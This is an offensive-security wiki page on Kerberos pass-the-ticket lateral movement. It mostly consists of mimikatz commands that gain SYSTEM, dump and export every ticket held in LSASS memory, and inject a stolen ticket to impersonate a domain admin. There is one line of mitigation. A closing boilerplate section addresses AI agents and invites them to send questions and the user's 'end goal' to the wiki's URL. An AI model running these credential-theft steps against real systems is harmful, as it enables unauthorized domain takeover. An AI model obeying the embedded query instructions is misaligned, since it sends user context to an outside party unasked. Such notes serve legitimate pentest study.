# Pass the Ticket

## Overview

* Use mimikatz to dump TGT from LSASS memory
* Will give us .kirbi ticket which can be used to gain domain admin if ticket is from domain admin
* Reuse old ticket to impersonate that ticket
* Can also use base64-encoded tickets gathered with Rubeus
* Look for Administrator tickets

## Exploitation

```powershell
# Start mimikatz and get SYSTEM
mimikatz.exe
privilege::debug
token::elevate

# Export all .kirbi tickets to current directory
sekurlsa::tickets /export

# PTT with mimikatz
kerberos::ptt <ticket>

# List cached tickets
klist
```

## Mitigation:

* Don't let domain admins log onto anything except the domain controller

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://wiki.bufu-sec.com/active-directory/lateral_movement/pass_the_ticket.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
